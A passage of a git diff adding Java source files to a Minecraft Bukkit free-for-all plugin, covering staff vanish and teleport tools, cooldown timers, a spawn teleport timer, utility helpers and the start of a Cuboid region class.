me.javaee.ffa.staff.listeners; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.utils.ItemBuilder; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Material; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.player.*; +import org.bukkit.inventory.ItemStack; + +import java.util.Random; + +public class StaffListener implements Listener { + @EventHandler + public void onJoin(PlayerJoinEvent event) { + Player player = event.getPlayer(); + + for (Player online : Bukkit.getOnlinePlayers()) { + if (online.hasPermission("litebans.tempban") && FFA.getPlugin().getProfileManager().getProfile(online).isVanished()) { + player.hidePlayer(online); + } + } + } + + @EventHandler + public void onInteract(PlayerInteractEvent event) { + Player player = event.getPlayer(); + + if (event.getItem() != null) { + if (event.getItem().getItemMeta() != null && event.getItem().getItemMeta().getDisplayName() != null) { + ItemStack item = event.getItem(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF) { + if (item.getItemMeta().getDisplayName().contains("Random")) { + if (Bukkit.getOnlinePlayers().size() <= 1) { + player.sendMessage(ChatColor.RED + "There are not enough players to teleport to."); + return; + } + + Player toReturn = getPlayerToTeleportTo(); + player.teleport(toReturn == player ? getPlayerToTeleportTo() : toReturn); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have been teleported to &c" + toReturn.getName() + "&e.")); + + event.setCancelled(true); + } else if (item.getItemMeta().getDisplayName().contains("You are vanished")) { + player.getInventory().setItemInHand(new ItemBuilder(Material.INK_SACK).setDurability(10).setDisplayName("&6You are not vanished").create()); + for (Player online : Bukkit.getOnlinePlayers()) { + online.showPlayer(player); + player.showPlayer(online); + } + profile.setVanished(false); + + event.setCancelled(true); + } else if (item.getItemMeta().getDisplayName().contains("You are not vanished")) { + player.getInventory().setItemInHand(new ItemBuilder(Material.INK_SACK).setDurability(8).setDisplayName("&6You are vanished").create()); + for (Player online : Bukkit.getOnlinePlayers()) { + if (!online.hasPermission("litebans.tempban")) { + online.hidePlayer(player); + } + player.showPlayer(online); + } + profile.setVanished(true); + + event.setCancelled(true); + } + } + } + } + } + + @EventHandler + public void onInteract(PlayerInteractEntityEvent event) { + Player player = event.getPlayer(); + + if (player.getItemInHand() != null) { + if (player.getItemInHand().getItemMeta() != null && player.getItemInHand().getItemMeta().getDisplayName() != null) { + ItemStack item = player.getItemInHand(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF) { + if (item.getItemMeta().getDisplayName().contains("Inspector") && event.getRightClicked() instanceof Player) { + player.openInventory(((Player) event.getRightClicked()).getInventory()); + } + } + } + } + } + + @EventHandler + public void onInventoryClick(InventoryClickEvent event) { + Player player = (Player) event.getWhoClicked(); + + if (event.getInventory() != null) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onPlayerDropItem(PlayerDropItemEvent event) { + Player player = event.getPlayer(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF || profile.getPlayerStatus() == PlayerStatus.FROZEN) { + event.setCancelled(true); + } + } + + @EventHandler + public void onPlayerPickupItem(PlayerPickupItemEvent event) { + Player player = event.getPlayer(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF || profile.getPlayerStatus() == PlayerStatus.FROZEN) { + event.setCancelled(true); + } + } + + @EventHandler + public void onEntityDamage(EntityDamageEvent event) { + Entity entity = event.getEntity(); + + if (entity instanceof Player) { + Player player = (Player) entity; + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF || profile.getPlayerStatus() == PlayerStatus.FROZEN) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onEntityDamageByEntity(EntityDamageByEntityEvent event) { + if (event.getEntity() instanceof Player) { + Player player = (Player) event.getEntity(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF || profile.getPlayerStatus() == PlayerStatus.FROZEN) { + event.setCancelled(true); + } + } + + if (event.getDamager() instanceof Player) { + Player player = (Player) event.getDamager(); + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + + if (profile.getPlayerStatus() == PlayerStatus.STAFF || profile.getPlayerStatus() == PlayerStatus.FROZEN) { + event.setCancelled(true); + } + } + } + + public Player getPlayerToTeleportTo() { + return (Player) Bukkit.getOnlinePlayers().toArray()[new Random().nextInt(Bukkit.getOnlinePlayers().size())]; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/GlobalTimer.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/GlobalTimer.java new file mode 100644 index 0000000..6e26d4d --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/GlobalTimer.java @@ -0,0 +1,69 @@ +package me.javaee.ffa.timer; + +import me.javaee.ffa.events.TimerExtendEvent; +import me.javaee.ffa.events.TimerPauseEvent; +import me.javaee.ffa.events.TimerStartEvent; +import org.bukkit.Bukkit; + +public abstract class GlobalTimer extends Timer { + + private TimerCooldown runnable; + + public GlobalTimer(String name, long defaultCooldown) { + super(name, defaultCooldown); + } + + public boolean clearCooldown() { + if (runnable != null) { + runnable.cancel(); + runnable = null; + return true; + } + return false; + } + + public boolean isPaused() { + return runnable != null && runnable.isPaused(); + } + + public void setPaused(boolean paused) { + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining() { + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setRemaining() { + return setRemaining(defaultCooldown, false); + } + + public boolean setRemaining(long duration, boolean overwrite) { + boolean hadCooldown = false; + if (runnable != null) { + if (!overwrite) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(this, runnable.getRemaining(), duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + hadCooldown = runnable.getRemaining() > 0L; + runnable.setRemaining(duration); + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(this, duration)); + runnable = new TimerCooldown(this, duration); + } + + return !hadCooldown; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/PlayerTimer.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/PlayerTimer.java new file mode 100644 index 0000000..d7de855 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/PlayerTimer.java @@ -0,0 +1,128 @@ +package me.javaee.ffa.timer; + +import com.google.common.base.Optional; +import com.google.common.base.Predicate; +import me.javaee.ffa.events.*; +import org.bukkit.Bukkit; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; + +import javax.annotation.Nullable; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.ConcurrentHashMap; + +public abstract class PlayerTimer extends Timer { + + protected final boolean persistable; + protected final Map cooldowns = new ConcurrentHashMap<>(); + + public PlayerTimer(String name, long defaultCooldown, boolean persistable) { + super(name, defaultCooldown); + + this.persistable = persistable; + } + + public PlayerTimer(String name, long defaultCooldown) { + this(name, defaultCooldown, true); + } + + public void onExpire(UUID userUUID) { } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onTimerExpireLoadReduce(TimerExpireEvent event) { + if (event.getTimer() == this) { + Optional optionalUserUUID = event.getUserUUID(); + if (optionalUserUUID.isPresent()) { + UUID userUUID = optionalUserUUID.get(); + onExpire(userUUID); + clearCooldown(userUUID); + } + } + } + + public void clearCooldown(Player player) { + clearCooldown(player.getUniqueId()); + } + + public TimerCooldown clearCooldown(UUID playerUUID) { + TimerCooldown runnable = cooldowns.remove(playerUUID); + if (runnable != null) { + runnable.cancel(); + Bukkit.getPluginManager().callEvent(new TimerClearEvent(playerUUID, this)); + return runnable; + } + return null; + } + + public boolean isPaused(Player player) { + return isPaused(player.getUniqueId()); + } + + public boolean isPaused(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable != null && runnable.isPaused(); + } + + public void setPaused(UUID playerUUID, boolean paused) { + TimerCooldown runnable = cooldowns.get(playerUUID); + if (runnable != null && runnable.isPaused() != paused) { + TimerPauseEvent event = new TimerPauseEvent(playerUUID, this, paused); + Bukkit.getPluginManager().callEvent(event); + if (!event.isCancelled()) { + runnable.setPaused(paused); + } + } + } + + public long getRemaining(Player player) { + return getRemaining(player.getUniqueId()); + } + + public long getRemaining(UUID playerUUID) { + TimerCooldown runnable = cooldowns.get(playerUUID); + return runnable == null ? 0L : runnable.getRemaining(); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID) { + return setCooldown(player, playerUUID, defaultCooldown, false); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite) { + return setCooldown(player, playerUUID, duration, overwrite, null); + } + + public boolean setCooldown(@Nullable Player player, UUID playerUUID, long duration, boolean overwrite, @Nullable Predicate currentCooldownPredicate) { + TimerCooldown runnable = duration > 0L ? cooldowns.get(playerUUID) : this.clearCooldown(playerUUID); + if (runnable != null) { + long remaining = runnable.getRemaining(); + if (!overwrite && remaining > 0L && duration <= remaining) { + return false; + } + + TimerExtendEvent event = new TimerExtendEvent(player, playerUUID, this, remaining, duration); + Bukkit.getPluginManager().callEvent(event); + if (event.isCancelled()) { + return false; + } + + boolean flag = true; + if (currentCooldownPredicate != null) { + flag = currentCooldownPredicate.apply(remaining); + } + + if (flag) { + runnable.setRemaining(duration); + } + + return flag; + } else { + Bukkit.getPluginManager().callEvent(new TimerStartEvent(player, playerUUID, this, duration)); + runnable = new TimerCooldown(this, playerUUID, duration); + } + + cooldowns.put(playerUUID, runnable); + return true; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/Timer.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/Timer.java new file mode 100644 index 0000000..307d00e --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/Timer.java @@ -0,0 +1,18 @@ +package me.javaee.ffa.timer; + +import lombok.Getter; + +public abstract class Timer { + + @Getter protected final String name; + @Getter protected final long defaultCooldown; + + public Timer(String name, long defaultCooldown) { + this.name = name; + this.defaultCooldown = defaultCooldown; + } + + public abstract String getScoreboardPrefix(); + + public final String getDisplayName() { return getScoreboardPrefix() + name; } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerCooldown.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerCooldown.java new file mode 100644 index 0000000..a5bc846 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerCooldown.java @@ -0,0 +1,110 @@ +package me.javaee.ffa.timer; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.events.TimerExpireEvent; +import org.bukkit.Bukkit; +import org.bukkit.scheduler.BukkitRunnable; +import org.bukkit.scheduler.BukkitTask; + +import java.util.UUID; + +public class TimerCooldown { + + private BukkitTask eventNotificationTask; + + private final Timer timer; + private final UUID owner; + private long expiryMillis; + private long pauseMillis; + + public TimerCooldown(Timer timer, long duration) { + this.owner = null; + this.timer = timer; + + setRemaining(duration); + } + + public TimerCooldown(Timer timer, UUID playerUUID, long duration) { + this.timer = timer; + this.owner = playerUUID; + + setRemaining(duration); + } + + public Timer getTimer() { + return timer; + } + + public long getRemaining() { + return getRemaining(false); + } + + public long getRemaining(boolean ignorePaused) { + if (!ignorePaused && pauseMillis != 0L) { + return pauseMillis; + } + + return expiryMillis - System.currentTimeMillis(); + } + + public long getExpiryMillis() { + return expiryMillis; + } + + public void setRemaining(long remaining) { + setExpiryMillis(remaining); + } + + private void setExpiryMillis(long remainingMillis) { + long expiryMillis = System.currentTimeMillis() + remainingMillis; + if (expiryMillis == this.expiryMillis) { + return; + } + + this.expiryMillis = expiryMillis; + if (remainingMillis > 0L) { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + } + + eventNotificationTask = new BukkitRunnable() { + @Override + public void run() { + Bukkit.getPluginManager().callEvent(new TimerExpireEvent(owner, timer)); + } + }.runTaskLater(FFA.getPlugin(), remainingMillis / 50L); + } + } + + public long getPauseMillis() { + return pauseMillis; + } + + public void setPauseMillis(long pauseMillis) { + this.pauseMillis = pauseMillis; + } + + public boolean isPaused() { + return pauseMillis != 0L; + } + + public void setPaused(boolean paused) { + if (paused != isPaused()) { + if (paused) { + pauseMillis = getRemaining(true); + cancel(); + } else { + setExpiryMillis(pauseMillis); + pauseMillis = 0L; + } + } + } + + public boolean cancel() { + if (eventNotificationTask != null) { + eventNotificationTask.cancel(); + return true; + } + return false; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerManager.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerManager.java new file mode 100644 index 0000000..3596218 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/TimerManager.java @@ -0,0 +1,35 @@ +package me.javaee.ffa.timer; + +import lombok.Getter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.timer.type.TeleportTimer; +import org.bukkit.Bukkit; +import org.bukkit.event.Listener; + +import java.util.LinkedHashSet; +import java.util.Set; + +public class TimerManager { + @Getter private final FFA plugin; + + @Getter private TeleportTimer teleportTimer; + + @Getter private final Set timers = new LinkedHashSet<>(); + + public TimerManager(FFA plugin) { + this.plugin = plugin; + + registerTimer(teleportTimer = new TeleportTimer(plugin)); + } + + public void registerTimer(Timer timer) { + timers.add(timer); + if (timer instanceof Listener) { + Bukkit.getPluginManager().registerEvents((Listener) timer, plugin); + } + } + + public void unregisterTimer(Timer timer) { + timers.remove(timer); + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/timer/type/TeleportTimer.java b/FreeForAll/src/main/java/me/javaee/ffa/timer/type/TeleportTimer.java new file mode 100644 index 0000000..d8a2cda --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/timer/type/TeleportTimer.java @@ -0,0 +1,125 @@ +package me.javaee.ffa.timer.type; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.timer.PlayerTimer; +import me.javaee.ffa.timer.TimerCooldown; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.SerializationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.event.player.PlayerTeleportEvent; + +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +public class TeleportTimer extends PlayerTimer implements Listener { + private final FFA plugin; + + public TeleportTimer(FFA plugin) { + super("Spawn", TimeUnit.SECONDS.toMillis(30L), false); + + this.plugin = plugin; + } + + /** + * Gets the {@link Location} this {@link TeleportTimer} will send to. + * + * + * @return the {@link Location} + */ + + @Override + public String getScoreboardPrefix() { + return ChatColor.DARK_AQUA.toString() + ChatColor.BOLD; + } + + @Override + public TimerCooldown clearCooldown(UUID uuid) { + TimerCooldown runnable = super.clearCooldown(uuid); + if (runnable != null) { + return runnable; + } + + return null; + } + + /** + * Gets the amount of enemies nearby a {@link Player}. + * + * @param player the {@link Player} to get for + * @param distance the radius to get within + * + * @return the amount of players within enemy distance + */ + + /** + * Teleports a {@link Player} to a {@link Location} with a delay. + * + * @param player the {@link Player} to teleport + * @param location the {@link Location} to teleport to + * @param millis the time in milliseconds until teleport + * @param warmupMessage the message to send whilst waiting + * @param cause the cause for teleporting + * + * @return true if {@link Player} was successfully teleported + */ + + /** + * Cancels a {@link Player}s' teleport process for a given reason. + * + * @param player the {@link Player} to cancel for + * @param reason the reason for cancelling + */ + public void cancelTeleport(Player player, String reason) { + UUID uuid = player.getUniqueId(); + if (getRemaining(uuid) > 0L) { + clearCooldown(uuid); + if (reason != null && !reason.isEmpty()) { + player.sendMessage(reason); + } + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerMove(PlayerMoveEvent event) { + Location from = event.getFrom(); + Location to = event.getTo(); + if (from.getBlockX() == to.getBlockX() && from.getBlockY() == to.getBlockY() && from.getBlockZ() == to.getBlockZ()) { + return; + } + + cancelTeleport(event.getPlayer(), ChatColor.YELLOW + "You moved a block, therefore cancelling your teleport."); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerDamage(EntityDamageEvent event) { + Entity entity = event.getEntity(); + if (entity instanceof Player) { + cancelTeleport((Player) entity, ChatColor.YELLOW + "You took damage, therefore cancelling your teleport."); + } + } + + @Override + public void onExpire(UUID userUUID) { + Player player = Bukkit.getPlayer(userUUID); + if (player == null) { + return; + } + + Location destination = LocationUtils.getLocation(FFA.getPlugin().getInformationManager().getInformation().getLobbyLocation()); + + if (destination != null) { + destination.getChunk(); + player.teleport(destination, PlayerTeleportEvent.TeleportCause.COMMAND); + SerializationUtils.setKitToPlayer(player); + } + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/BukkitUtils.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/BukkitUtils.java new file mode 100644 index 0000000..a78363b --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/BukkitUtils.java @@ -0,0 +1,178 @@ +package me.javaee.ffa.utils; + +import com.google.common.base.Preconditions; +import com.google.common.base.Strings; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.ImmutableSet; +import org.bukkit.*; +import org.bukkit.block.Block; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Projectile; +import org.bukkit.entity.ThrownPotion; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.projectiles.ProjectileSource; + +import java.util.List; +import java.util.UUID; +import java.util.stream.Collectors; + +public class BukkitUtils { + + private static final ImmutableMap CHAT_DYE_COLOUR_MAP = ImmutableMap.builder().put(ChatColor.AQUA, DyeColor.LIGHT_BLUE).put(ChatColor.BLACK, DyeColor.BLACK).put(ChatColor.BLUE, DyeColor.LIGHT_BLUE).put(ChatColor.DARK_AQUA, DyeColor.CYAN).put(ChatColor.DARK_BLUE, DyeColor.BLUE).put(ChatColor.DARK_GRAY, DyeColor.GRAY).put(ChatColor.DARK_GREEN, DyeColor.GREEN).put(ChatColor.DARK_PURPLE, DyeColor.PURPLE).put(ChatColor.DARK_RED, DyeColor.RED).put(ChatColor.GOLD, DyeColor.ORANGE).put(ChatColor.GRAY, DyeColor.SILVER).put(ChatColor.GREEN, DyeColor.LIME).put(ChatColor.LIGHT_PURPLE, DyeColor.MAGENTA).put(ChatColor.RED, DyeColor.RED).put(ChatColor.WHITE, DyeColor.WHITE).put(ChatColor.YELLOW, DyeColor.YELLOW).build();; + private static final ImmutableSet DEBUFF_TYPES = ImmutableSet.builder().add(PotionEffectType.BLINDNESS).add(PotionEffectType.CONFUSION).add(PotionEffectType.HARM).add(PotionEffectType.HUNGER).add(PotionEffectType.POISON).add(PotionEffectType.SATURATION).add(PotionEffectType.SLOW).add(PotionEffectType.SLOW_DIGGING).add(PotionEffectType.WEAKNESS).add(PotionEffectType.WITHER).build();; + + public static final String STRAIGHT_LINE_TEMPLATE = ChatColor.STRIKETHROUGH + Strings.repeat("-", 256); + + public static List getCompletions(String[] arguments, List input) { + return getCompletions(arguments, input, 80); + } + + public static List getCompletions(String[] arguments, List input, int limit) { + Preconditions.checkNotNull(arguments); + Preconditions.checkArgument(arguments.length != 0); + String argument = arguments[arguments.length - 1]; + return input.stream().filter(string -> string.regionMatches(true, 0, argument, 0, argument.length())).limit(limit).collect(Collectors.toList()); + } + + public static String getDisplayName(CommandSender sender) { + Preconditions.checkNotNull(sender, "Sender cannot be null"); + return (sender instanceof Player) ? ((Player) sender).getDisplayName() : sender.getName(); + } + + public static DyeColor toDyeColor(ChatColor colour) { + return CHAT_DYE_COLOUR_MAP.get(colour); + } + + public static Player getFinalAttacker(EntityDamageEvent ede, boolean ignoreSelf) { + Player attacker = null; + if (ede instanceof EntityDamageByEntityEvent) { + EntityDamageByEntityEvent event = (EntityDamageByEntityEvent) ede; + Entity damager = event.getDamager(); + if (event.getDamager() instanceof Player) { + attacker = (Player) damager; + } else if (event.getDamager() instanceof Projectile) { + Projectile projectile = (Projectile) damager; + ProjectileSource shooter = projectile.getShooter(); + if (shooter instanceof Player) { + attacker = (Player) shooter; + } + } + if (attacker != null && ignoreSelf && event.getEntity().equals(attacker)) { + attacker = null; + } + } + return attacker; + } + + public static Player getPlayer(String string) { + if (string == null) { + return null; + } + return JavaUtils.isUUID(string) ? Bukkit.getPlayer(UUID.fromString(string)) : Bukkit.getPlayer(string); + } + + public static String niceTime(int seconds) { + int hours = seconds / 3600; + seconds -= hours * 3600; + int minutes = seconds / 60; + seconds -= minutes * 60; + return niceTime(hours, minutes, seconds); + } + + public static String niceTime(int seconds, boolean showEmptyHours) { + int hours = seconds / 3600; + seconds -= hours * 3600; + int minutes = seconds / 60; + seconds -= minutes * 60; + return niceTime(hours, minutes, seconds, showEmptyHours); + } + + public static String niceTime(int hours, int minutes, int seconds) { + return niceTime(hours, minutes, seconds, true); + } + + public static String niceTime(int hours, int minutes, int seconds, boolean showEmptyHours) { + StringBuilder builder = new StringBuilder(); + + // Skip hours + if (hours > 0) { + if (hours < 10) { + builder.append('0'); + } + builder.append(hours); + builder.append(':'); + } else if (showEmptyHours) { + builder.append("00:"); + } + + if (minutes < 10 && hours != -1) { + builder.append('0'); + } + builder.append(minutes); + builder.append(':'); + + if (seconds < 10) { + builder.append('0'); + } + builder.append(seconds); + + return builder.toString(); + } + + + @Deprecated + public static OfflinePlayer getOfflinePlayer(String string) { + if (string == null) { + return null; + } + return JavaUtils.isUUID(string) ? Bukkit.getOfflinePlayer(UUID.fromString(string)) : Bukkit.getOfflinePlayer(string); + } + + public static boolean isWithinX(Location location, Location other, double distance) { + return location.getWorld().equals(other.getWorld()) && Math.abs(other.getX() - location.getX()) <= distance && Math.abs(other.getZ() - location.getZ()) <= distance; + } + + public static Location getHighestLocation(Location origin) { + return getHighestLocation(origin, null); + } + + public static Location getHighestLocation(Location origin, Location def) { + Location cloned = Preconditions.checkNotNull(origin, "The location cannot be null").clone(); + World world = cloned.getWorld(); + int x = cloned.getBlockX(); + int y = world.getMaxHeight(); + int z = cloned.getBlockZ(); + while (y > origin.getBlockY()) { + Block block = world.getBlockAt(x, --y, z); + if (!block.isEmpty()) { + Location next = block.getLocation(); + next.setPitch(origin.getPitch()); + next.setYaw(origin.getYaw()); + return next; + } + } + return def; + } + + public static boolean isDebuff(PotionEffectType type) { + return DEBUFF_TYPES.contains(type); + } + + public static boolean isDebuff(PotionEffect effect) { + return isDebuff(effect.getType()); + } + + public static boolean isDebuff(ThrownPotion potion) { + for (PotionEffect effect : potion.getEffects()) { + if (isDebuff(effect)) { + return true; + } + } + return false; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/utils/Cuboid.java b/FreeForAll/src/main/java/me/javaee/ffa/utils/Cuboid.java new file mode 100644 index 0000000..a46e691 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/utils/Cuboid.java @@ -0,0 +1,667 @@ +package me.javaee.ffa.utils; + +import org.bukkit.Bukkit; +import org.bukkit.Chunk; +import org.bukkit.Location; +import org.bukkit.World; +import org.bukkit.block.Block; +import org.bukkit.configuration.serialization.ConfigurationSerializable; +import org.bukkit.entity.Player; + +import java.util.*; + +/** + * This class is a region/cuboid from one location to another. It can be used for blocks protection and things like WorldEdit. + * @author desht (Original code), KingFaris10 (Editor of code) + */ +public class Cuboid implements Iterable, Cloneable, ConfigurationSerializable { + + protected String worldName; + protected int x1, y1, z1; + protected int x2, y2, z2; + + /** + * Construct a Cuboid given two Location objects which represent any two corners of the Cuboid. + * Note: The 2 locations must be on the same world. + * + * @param l1 - One of the corners + * @param l2 - The other corner + */ + public Cuboid(Location l1, Location l2) { + if (!l1.getWorld().equals(l2.getWorld())) throw new IllegalArgumentException("Locations must be on the same world"); + this.worldName = l1.getWorld().getName(); + this.x1 = Math.min(l1.getBlockX(), l2.getBlockX()); + this.y1 = Math.min(l1.getBlockY(), l2.getBlockY()); + this.z1 = Math.min(l1.getBlockZ(), l2.getBlockZ()); + this.x2 = Math.max(l1.getBlockX(), l2.getBlockX()); + this.y2 = Math.max(l1.getBlockY(), l2.getBlockY()); + this.z2 = Math.max(l1.getBlockZ(), l2.getBlockZ()); + } + + /** + * Construct a one-block Cuboid at the given Location of the Cuboid. + * + * @param l1 location of the Cuboid + */ + public Cuboid(Location l1) { + this(l1, l1); + } + + /** + * Copy constructor. + * + * @param other - The Cuboid to copy + */ + public Cuboid(Cuboid other) { + this(other.getWorld().getName(), other.x1, other.y1, other.z1, other.x2, other.y2, other.z2); + } + + /** + * Construct a Cuboid in the given World and xyz co-ordinates + * + * @param world - The Cuboid's world + * @param x1 - X co-ordinate of corner 1 + * @param y1 - Y co-ordinate of corner 1 + * @param z1 - Z co-ordinate of corner 1 + * @param x2 - X co-ordinate of corner 2 + * @param y2 - Y co-ordinate of corner 2 + * @param z2 - Z co-ordinate of corner 2 + */ + + public Cuboid(World world, int x1, int y1, int z1, int x2, int y2, int z2) { + this.worldName = world.getName(); + this.x1 = Math.min(x1, x2); + this.x2 = Math.max(x1, x2); + this.y1 = Math.min(y1, y2); + this.y2 = Math.max(y1, y2); + this.z1 = Math.min(z1, z2); + this.z2 = Math.max(z1, z2); + } + + /** + * Construct a Cuboid in the given world name and xyz co-ordinates. + * + * @param worldName - The Cuboid's world name + * @param x1 - X co-ordinate of corner 1 + * @param y1 - Y co-ordinate of corner 1 + * @param z1 - Z co-ordinate of corner 1 + * @param x2 - X co-ordinate of corner 2 + * @param y2 - Y co-ordinate of corner 2 + * @param z2 - Z co-ordinate of corner 2 + */ + private Cuboid(String worldName, int x1, int y1, int z1, int x2, int y2, int z2) { + this.worldName = worldName; + this.x1 = Math.min(x1, x2); + this.x2 = Math.max(x1, x2); + this.y1 = Math.min(y1, y2); + this.y2 = Math.max(y1, y2); + this.z1 = Math.min(z1, z2); + this.z2 = Math.max(z1, z2); + } + + /** + * Construct a Cuboid using a map with the following keys: worldName, x1, x2, y1, y2, z1, z2 + * @param map - The map of keys. + */ + public Cuboid(Map map) { + this.worldName = (String) map.get("worldName"); + this.x1 = (Integer) map.get("x1"); + this.x2 = (Integer) map.get("x2"); + this.y1 = (Integer) map.get("y1"); + this.y2 = (Integer) map.get("y2"); + this.z1 = (Integer) map.get("z1"); + this.z2 = (Integer) map.get("z2"); + } + + @Override + public Map serialize() { + Map map = new HashMap(); + map.put("worldName", this.worldName); + map.put("x1", this.x1); + map.put("y1", this.y1); + map.put("z1", this.z1); + map.put("x2", this.x2); + map.put("y2", this.y2); + map.put("z2", this.z2); + return map; + } + + /** + * Get the Location of the lower northeast corner of the Cuboid (minimum XYZ co-ordinates). + * + * @return Location of the lower northeast corner + */ + public Location getLowerNE() { + return new Location(this.getWorld(), this.x1, this.y1, this.z1); + } + + /** + * Get the Location of the upper southwest corner of the Cuboid (maximum XYZ co-ordinates). + * + * @return Location of the upper southwest corner + */ + public Location getUpperSW() { + return new Location(this.getWorld(), this.x2, this.y2, this.z2); + } + + /** + * Get the blocks in the Cuboid. + * + * @return The blocks in the Cuboid + */ + public List getBlocks() { + Iterator blockI = this.iterator(); + List copy = new ArrayList(); + while (blockI.hasNext()) + copy.add(blockI.next()); + return copy; + } + + /** + * Get the the centre of the Cuboid. + * + * @return Location at the centre of the Cuboid + */ + public Location getCenter() { + int x1 = this.getUpperX() + 1; + int y1 = this.getUpperY() + 1; + int z1 = this.getUpperZ() + 1; + return new Location(this.getWorld(), this.getLowerX() + (x1 - this.getLowerX()) / 2.0, this.getLowerY() + (y1 - this.getLowerY()) / 2.0, this.getLowerZ() + (z1 - this.getLowerZ()) / 2.0); + } + + public Set getPlayers() { + Set players = new HashSet<>(); + for (Player player : Bukkit.getOnlinePlayers()) { + if (contains(player.getLocation())) { + players.add(player); + } + } + return players; + } + + /** + * Get the Cuboid's world. + * + * @return The World object representing this Cuboid's world + * @throws IllegalStateException if the world is not loaded + */ + public World getWorld() { + World world = Bukkit.getWorld(this.worldName); + if (world == null) throw new IllegalStateException("World '" + this.worldName + "' is not loaded"); + return world; + } + + /** + * Get the size of this Cuboid along the X axis + * + * @return Size of Cuboid along the X axis + */ + public int getSizeX() { + return (this.x2 - this.x1) + 1; + } + + /** + * Get the size of this Cuboid along the Y axis + * + * @return Size of Cuboid along the Y axis + */ + public int getSizeY() { + return (this.y2 - this.y1) + 1; + } + + /** + * Get the size of this Cuboid along the Z axis + * + * @return Size of Cuboid along the Z axis + */ + public int getSizeZ() { + return (this.z2 - this.z1) + 1; + } + + /** + * Get the minimum X co-ordinate of this Cuboid + * + * @return the minimum X 